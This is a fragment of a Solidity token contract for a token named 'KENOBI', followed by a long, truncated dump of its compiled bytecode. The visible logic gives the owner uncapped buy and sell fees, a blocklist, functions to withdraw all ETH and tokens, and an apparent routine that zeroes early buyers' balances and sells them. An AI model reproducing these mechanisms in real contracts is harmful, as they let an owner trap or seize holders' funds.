_transferNoTax( address sender, address recipient, uint256 amount ) internal returns (bool) { _balances[sender] = _balances[sender].sub( amount, "Insufficient Balance" ); _balances[recipient] = _balances[recipient].add(amount); emit Transfer(sender, recipient, amount); return true; } function takeFees(address sender, uint256 amount) internal returns (uint256) { uint256 feeAmount = amount.mul(_taxFee).div(100); _balances[address(this)] = _balances[address(this)].add(feeAmount); emit Transfer(sender, address(this), feeAmount); return amount.sub(feeAmount); } receive() external payable {} function transferOwnership(address newOwner) public override onlyOwner { require( newOwner != address(0), "Ownable: new owner is the zero address" ); _isExcludedFromFee[owner()] = false; _transferOwnership(newOwner); _isExcludedFromFee[owner()] = true; } function setFees(uint256 taxFeeOnBuy, uint256 taxFeeOnSell) public onlyOwner { _taxFeeOnBuy = taxFeeOnBuy; _taxFeeOnSell = taxFeeOnSell; } function setMinSwapTokensThreshold(uint256 swapTokensAtAmount) public onlyOwner { _swapTokensAtAmount = swapTokensAtAmount; } function toggleSwap(bool _swapEnabled) public onlyOwner { swapEnabled = _swapEnabled; } function setMaxTxnAmount(uint256 maxTxAmount) public onlyOwner { _maxTxAmount = maxTxAmount; } function setMaxWalletSize(uint256 maxWalletSize) public onlyOwner { _maxWalletSize = maxWalletSize; } function setIsFeeExempt(address holder, bool exempt) public onlyOwner { _isExcludedFromFee[holder] = exempt; } function toggleTransferDelay() public onlyOwner { transferDelay = !transferDelay; } function recoverLosteth() external onlyOwner { (bool success, ) = address(payable(msg.sender)).call{ value: address(this).balance }(""); require(success); } function recoverLostTokens(address _token, uint256 _amount) external onlyOwner { IERC20(_token).transfer(msg.sender, _amount); } }
0x60806040526004361061021d5760003560e01c806370a0823111610123578063a9059cbb116100ab578063dec2ba0f1161006f578063dec2ba0f14610755578063ea1644d51461077e578063f0b37c04146107a7578063f2fde38b146107d0578063fe9fbb80146107f957610224565b8063a9059cbb14610684578063b6a5d7de146106c1578063c3c8cd80146106ea578063c9567bf914610701578063dd62ed3e1461071857610224565b80638da5cb5b116100f25780638da5cb5b146105c35780638eb59a5f146105ee5780638f9a55c01461060557806395d89b411461063057806398a5c3151461065b57610224565b806370a082311461051b578063715018a61461055857806374010ece1461056f5780637d1db4a51461059857610224565b8063313ce567116101a65780635b8b7815116101755780635b8b781514610460578063658d4b7f1461047757806367243482146104a05780636b999053146104c95780636d8aa8f8146104f257610224565b8063313ce567146103ca57806333596f50146103f557806349bd5a5e1461040c5780634ef1e0401461043757610224565b80631694505e116101ed5780631694505e146102e357806318160ddd1461030e57806323b872dd146103395780632f21411a146103765780632fd689e31461039f57610224565b8062b8cf2a1461022957806306fdde0314610252578063095ea7b31461027d5780630b78f9c0146102ba57610224565b3661022457005b600080fd5b34801561023557600080fd5b50610250600480360381019061024b9190613ee0565b610836565b005b34801561025e57600080fd5b5061026761095e565b6040516102749190613fb1565b60405180910390f35b34801561028957600080fd5b506102a4600480360381019061029f9190614009565b61099b565b6040516102b19190614064565b60405180910390f35b3480156102c657600080fd5b506102e160048036038101906102dc919061407f565b6109b9565b005b3480156102ef57600080fd5b506102f8610a5e565b604051610305919061411e565b60405180910390f35b34801561031a57600080fd5b50610323610a84565b6040516103309190614148565b60405180910390f35b34801561034557600080fd5b50610360600480360381019061035b9190614163565b610a8e565b60405161036d9190614064565b60405180910390f35b34801561038257600080fd5b5061039d600480360381019061039891906141e2565b610b67565b005b3480156103ab57600080fd5b506103b4610c17565b6040516103c19190614148565b60405180910390f35b3480156103d657600080fd5b506103df610c1d565b6040516103ec919061422b565b60405180910390f35b34801561040157600080fd5b5061040a610c26565b005b34801561041857600080fd5b50610421610d32565b60405161042e9190614255565b60405180910390f35b34801561044357600080fd5b5061045e60048036038101906104599190614270565b610d58565b005b34801561046c57600080fd5b50610475610df5565b005b34801561048357600080fd5b5061049e6004803603810190610499919061429d565b611472565b005b3480156104ac57600080fd5b506104c760048036038101906104c2919061438e565b611560565b005b3480156104d557600080fd5b506104f060048036038101906104eb919061440f565b611667565b005b3480156104fe57600080fd5b50610519600480360381019061051491906141e2565b611755565b005b34801561052757600080fd5b50610542600480360381019061053d919061440f565b611805565b60405161054f9190614148565b60405180910390f35b34801561056457600080fd5b5061056d61184e565b005b34801561057b57600080fd5b5061059660048036038101906105919190614270565b6118ed565b005b3480156105a457600080fd5b506105ad61198a565b6040516105ba9190614148565b60405180910390f35b3480156105cf57600080fd5b506105d8611990565b6040516105e59190614255565b60405180910390f35b3480156105fa57600080fd5b506106036119b9565b005b34801561061157600080fd5b5061061a611a78565b6040516106279190614148565b60405180910390f35b34801561063c57600080fd5b50610645611a7e565b6040516106529190613fb1565b60405180910390f35b34801561066757600080fd5b50610682600480360381019061067d9190614270565b611abb565b005b34801561069057600080fd5b506106ab60048036038101906106a69190614009565b611b58565b6040516106b89190614064565b60405180910390f35b3480156106cd57600080fd5b506106e860048036038101906106e3919061440f565b611b76565b005b3480156106f657600080fd5b506106ff611c63565b005b34801561070d57600080fd5b50610716611d0f565b005b34801561072457600080fd5b5061073f600480360381019061073a919061443c565b611de1565b60405161074c9190614148565b60405180910390f35b34801561076157600080fd5b5061077c60048036038101906107779190614009565b611e68565b005b34801561078a57600080fd5b506107a560048036038101906107a09190614270565b611f7e565b005b3480156107b357600080fd5b506107ce60048036038101906107c9919061440f565b61201b565b005b3480156107dc57600080fd5b506107f760048036038101906107f2919061440f565b612109565b005b34801561080557600080fd5b50610820600480360381019061081b919061440f565b6122d6565b60405161082d9190614064565b60405180910390f35b61083e61232c565b73ffffffffffffffffffffffffffffffffffffffff1661085c611990565b73ffffffffffffffffffffffffffffffffffffffff16148061088a575061088961088461232c565b6122d6565b5b6108c9576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016108c0906144c8565b60405180910390fd5b60005b815181101561095a576001600a60008484815181106108ee576108ed6144e8565b5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550808061095290614546565b9150506108cc565b5050565b60606040518060400160405280600681526020017f4b454e4f42490000000000000000000000000000000000000000000000000000815250905090565b60006109af6109a861232c565b8484612334565b6001905092915050565b6109c161232c565b73ffffffffffffffffffffffffffffffffffffffff166109df611990565b73ffffffffffffffffffffffffffffffffffffffff161480610a0d5750610a0c610a0761232c565b6122d6565b5b610a4c576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a43906144c8565b60405180910390fd5b81600c8190555080600d819055505050565b601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000600b54905090565b6000610a9b8484846124ff565b610b5c84610aa761232c565b610b578560405180606001604052806028815260200161515660289139600660008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000610b0d61232c565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546130e09092919063ffffffff16565b612334565b600190509392505050565b610b6f61232c565b73ffffffffffffffffffffffffffffffffffffffff16610b8d611990565b73ffffffffffffffffffffffffffffffffffffffff161480610bbb5750610bba610bb561232c565b6122d6565b5b610bfa576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610bf1906144c8565b60405180910390fd5b80601260186101000a81548160ff02191690831515021790555050565b60175481565b60006009905090565b610c2e61232c565b73ffffffffffffffffffffffffffffffffffffffff16610c4c611990565b73ffffffffffffffffffffffffffffffffffffffff161480610c7a5750610c79610c7461232c565b6122d6565b5b610cb9576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610cb0906144c8565b60405180910390fd5b60003373ffffffffffffffffffffffffffffffffffffffff1647604051610cdf906145c0565b60006040518083038185875af1925050503d8060008114610d1c576040519150601f19603f3d011682016040523d82523d6000602084013e610d21565b606091505b5050905080610d2f57600080fd5b50565b601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b610d6061232c565b73ffffffffffffffffffffffffffffffffffffffff16610d7e611990565b73ffffffffffffffffffffffffffffffffffffffff161480610dac5750610dab610da661232c565b6122d6565b5b610deb576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610de2906144c8565b60405180910390fd5b8060138190555050565b610dfd61232c565b73ffffffffffffffffffffffffffffffffffffffff16610e1b611990565b73ffffffffffffffffffffffffffffffffffffffff161480610e495750610e48610e4361232c565b6122d6565b5b610e88576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610e7f906144c8565b60405180910390fd5b6001601260156101000a81548160ff02191690831515021790555060006003805490501115611455576000600460003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905060005b6003805490508110156111cd57610fd46004600060038481548110610f2057610f1f6144e8565b5b9060005260206000200160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054600460003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461314490919063ffffffff16565b600460003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055503073ffffffffffffffffffffffffffffffffffffffff1660038281548110611042576110416144e8565b5b9060005260206000200160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef60046000600386815481106110bc576110bb6144e8565b5b9060005260206000200160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205460405161112f9190614148565b60405180910390a360006004600060038481548110611151576111506144e8565b5b9060005260206000200160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555080806111c590614546565b915050610ef8565b50600081600460003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461121b91906145d5565b90506000600267ffffffffffffffff81111561123a57611239613d3f565b5b6040519080825280602002602001820160405280156112685781602001602082028036833780820191505090505b50905030816000815181106112805761127f6144e8565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015611327573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061134b919061461e565b8160018151811061135f5761135e6144e8565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac94783600084601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16426040518663ffffffff1660e01b815260040161141f959493929190614765565b600060405180830381600087803b15801561143957600080fd5b505af115801561144d573d6000803e3d6000fd5b505050505050505b6000601260156101000a81548160ff021916908315150217905550565b61147a61232c565b73ffffffffffffffffffffffffffffffffffffffff16611498611990565b73ffffffffffffffffffffffffffffffffffffffff1614806114c657506114c56114c061232c565b6122d6565b5b611505576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016114fc906144c8565b60405180910390fd5b80600760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055505050565b61156861232c565b73ffffffffffffffffffffffffffffffffffffffff16611586611990565b73ffffffffffffffffffffffffffffffffffffffff1614806115b457506115b36115ae61232c565b6122d6565b5b6115f3576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016115ea906144c8565b60405180910390fd5b60005b848490508110156116605761164c33868684818110611618576116176144e8565b5b905060200201602081019061162d919061440f565b8585858181106116405761163f6144e8565b5b905060200201356131a2565b50808061165890614546565b9150506115f6565b5050505050565b61166f61232c565b73ffffffffffffffffffffffffffffffffffffffff1661168d611990565b73ffffffffffffffffffffffffffffffffffffffff1614806116bb57506116ba6116b561232c565b6122d6565b5b6116fa576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016116f1906144c8565b60405180910390fd5b6000600a60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b61175d61232c565b73ffffffffffffffffffffffffffffffffffffffff1661177b611990565b73ffffffffffffffffffffffffffffffffffffffff1614806117a957506117a86117a361232c565b6122d6565b5b6117e8576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016117df906144c8565b60405180910390fd5b80601260166101000a81548160ff02191690831515021790555050565b6000600460008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b61185661232c565b73ffffffffffffffffffffffffffffffffffffffff16611874611990565b73ffffffffffffffffffffffffffffffffffffffff1614806118a257506118a161189c61232c565b6122d6565b5b6118e1576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016118d8906144c8565b60405180910390fd5b6118eb6000613375565b565b6118f561232c565b73ffffffffffffffffffffffffffffffffffffffff16611913611990565b73ffffffffffffffffffffffffffffffffffffffff161480611941575061194061193b61232c565b6122d6565b5b611980576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611977906144c8565b60405180910390fd5b8060158190555050565b60155481565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b6119c161232c565b73ffffffffffffffffffffffffffffffffffffffff166119df611990565b73ffffffffffffffffffffffffffffffffffffffff161480611a0d5750611a0c611a0761232c565b6122d6565b5b611a4c576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611a43906144c8565b60405180910390fd5b601260179054906101000a900460ff1615601260176101000a81548160ff021916908315150217905550565b60165481565b60606040518060400160405280600681526020017f4b454e4f42490000000000000000000000000000000000000000000000000000815250905090565b611ac361232c565b73ffffffffffffffffffffffffffffffffffffffff16611ae1611990565b73ffffffffffffffffffffffffffffffffffffffff161480611b0f5750611b0e611b0961232c565b6122d6565b5b611b4e576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611b45906144c8565b60405180910390fd5b8060178190555050565b6000611b6c611b6561232c565b84846124ff565b6001905092915050565b611b7e61232c565b73ffffffffffffffffffffffffffffffffffffffff16611b9c611990565b73ffffffffffffffffffffffffffffffffffffffff161480611bca5750611bc9611bc461232c565b6122d6565b5b611c09576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611c00906144c8565b60405180910390fd5b60018060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b611c6b61232c565b73ffffffffffffffffffffffffffffffffffffffff16611c89611990565b73ffffffffffffffffffffffffffffffffffffffff161480611cb75750611cb6611cb161232c565b6122d6565b5b611cf6576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611ced906144c8565b60405180910390fd5b6000611d0130611805565b9050611d0c81613439565b50565b611d1761232c565b73ffffffffffffffffffffffffffffffffffffffff16611d35611990565b73ffffffffffffffffffffffffffffffffffffffff161480611d635750611d62611d5d61232c565b6122d6565b5b611da2576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611d99906144c8565b60405180910390fd5b6001601260146101000a81548160ff0219169083151502179055506001601260186101000a81548160ff02191690831515021790555043601481905550565b6000600660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b611e7061232c565b73ffffffffffffffffffffffffffffffffffffffff16611e8e611990565b73ffffffffffffffffffffffffffffffffffffffff161480611ebc5750611ebb611eb661232c565b6122d6565b5b611efb576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611ef2906144c8565b60405180910390fd5b8173ffffffffffffffffffffffffffffffffffffffff1663a9059cbb33836040518363ffffffff1660e01b8152600401611f369291906147bf565b6020604051808303816000875af1158015611f55573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611f7991906147fd565b505050565b611f8661232c565b73ffffffffffffffffffffffffffffffffffffffff16611fa4611990565b73ffffffffffffffffffffffffffffffffffffffff161480611fd25750611fd1611fcc61232c565b6122d6565b5b612011576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612008906144c8565b60405180910390fd5b8060168190555050565b61202361232c565b73ffffffffffffffffffffffffffffffffffffffff16612041611990565b73ffffffffffffffffffffffffffffffffffffffff16148061206f575061206e61206961232c565b6122d6565b5b6120ae576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016120a5906144c8565b60405180910390fd5b6000600160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b61211161232c565b73ffffffffffffffffffffffffffffffffffffffff1661212f611990565b73ffffffffffffffffffffffffffffffffffffffff16148061215d575061215c61215761232c565b6122d6565b5b61219c576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612193906144c8565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff16141561220c576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016122039061489c565b60405180910390fd5b60006007600061221a611990565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555061227481613375565b600160076000612282611990565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b6000600160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff169050919050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156123a4576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161239b9061492e565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415612414576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161240b906149c0565b60405180910390fd5b80600660008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040516124f29190614148565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141561256f576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161256690614a52565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614156125df576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016125d690614ae4565b60405180910390fd5b60008111612622576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161261990614b76565b60405180910390fd5b600760008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161580156126c65750600760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b15612d6957601260149054906101000a900460ff1661271a576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161271190614be2565b60405180910390fd5b60155481111561275f576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161275690614c4e565b60405180910390fd5b600a60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161580156128035750600a60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b612842576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161283990614ce0565b60405180910390fd5b601260189054906101000a900460ff1615612a8d5760006014541180156128b65750601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16145b801561290c5750600960008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b80156129625750600960008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b15612a8c576013546014544361297891906145d5565b11612a8b57600860008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16612a32576003829080600181540180825580915050600190039060005260206000200160009091909190916101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055505b6001600860008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055505b5b5b601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614612c8c57601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16148015612b4b5750601260179054906101000a900460ff165b15612c34574260b4600560003273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612b9d9190614d00565b108015612bf457504260b4600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612bf29190614d00565b105b612c33576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612c2a90614dc8565b60405180910390fd5b5b60165481612c4184611805565b612c4b9190614d00565b10612c8b576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612c8290614e5a565b60405180910390fd5b5b6000612c9730611805565b9050600060175482101590506017548210612cb25760175491505b808015612ccc5750601260159054906101000a900460ff16155b8015612d265750601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff1614155b8015612d3e5750601260169054906101000a900460ff165b15612d6657612d4c82613439565b60004790506000811115612d6457612d6347613710565b5b505b50505b600060019050600760008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1680612e105750600760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b80612ec35750601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614158015612ec25750601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b5b15612ed15760009050613046565b601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff16148015612f7c5750601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b15612f8b57600c54600e819055505b601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161480156130365750601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b1561304557600d54600e819055505b5b42600560003273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555042600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506130da848484846137ac565b50505050565b6000838311158290613128576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161311f9190613fb1565b60405180910390fd5b506000838561313791906145d5565b9050809150509392505050565b60008082846131539190614d00565b905083811015613198576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161318f90614ec6565b60405180910390fd5b8091505092915050565b600061322d826040518060400160405280601481526020017f496e73756666696369656e742042616c616e6365000000000000000000000000815250600460008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546130e09092919063ffffffff16565b600460008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506132c282600460008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461314490919063ffffffff16565b600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040516133629190614148565b60405180910390a3600190509392505050565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff169050816000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508173ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35050565b6001601260156101000a81548160ff021916908315150217905550600061347d606461346f6055856137d490919063ffffffff16565b61384f90919063ffffffff16565b90506000818361348d91906145d5565b905060004790506000600267ffffffffffffffff8111156134b1576134b0613d3f565b5b6040519080825280602002602001820160405280156134df5781602001602082028036833780820191505090505b50905030816000815181106134f7576134f66144e8565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa15801561359e573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906135c2919061461e565b816001815181106135d6576135d56144e8565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478560008430426040518663ffffffff1660e01b8152600401613674959493929190614ee6565b600060405180830381600087803b15801561368e57600080fd5b505af11580156136a2573d6000803e3d6000fd5b5050505060006136bb834761389990919063ffffffff16565b90506136ed846136e860646136da600f866137d490919063ffffffff16565b61384f90919063ffffffff16565b6138e3565b50505050506000601260156101000a81548160ff02191690831515021790555050565b6000601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1682604051613758906145c0565b60006040518083038185875af1925050503d8060008114613795576040519150601f19603f3d011682016040523d82523d6000602084013e61379a565b606091505b50509050806137a857600080fd5b5050565b806137c2576137bc8484846131a2565b506137ce565b6137cd848484613995565b5b50505050565b6000808314156137e75760009050613849565b600082846137f59190614f40565b90508284826138049190614fc9565b14613844576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161383b9061506c565b60405180910390fd5b809150505b92915050565b600061389183836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250613b6f565b905092915050565b60006138db83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f7700008152506130e0565b905092915050565b601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d7198230856000806000426040518863ffffffff1660e01b815260040161394b9695949392919061508c565b60606040518083038185885af1158015613969573d6000803e3d6000fd5b50505050506040513d601f19601f8201168201806040525081019061398e9190615102565b5050505050565b60006139a18483613bd2565b9050613a2c826040518060400160405280601481526020017f496e73756666696369656e742042616c616e6365000000000000000000000000815250600460008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546130e09092919063ffffffff16565b600460008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550613ac181600460008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461314490919063ffffffff16565b600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef83604051613b619190614148565b60405180910390a350505050565b60008083118290613bb6576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401613bad9190613fb1565b60405180910390fd5b5060008385613bc59190614fc9565b9050809150509392505050565b600080613bfd6064613bef600e54866137d490919063ffffffff16565b61384f90919063ffffffff16565b9050613c5181600460003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461314490919063ffffffff16565b600460003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055503073fffffffff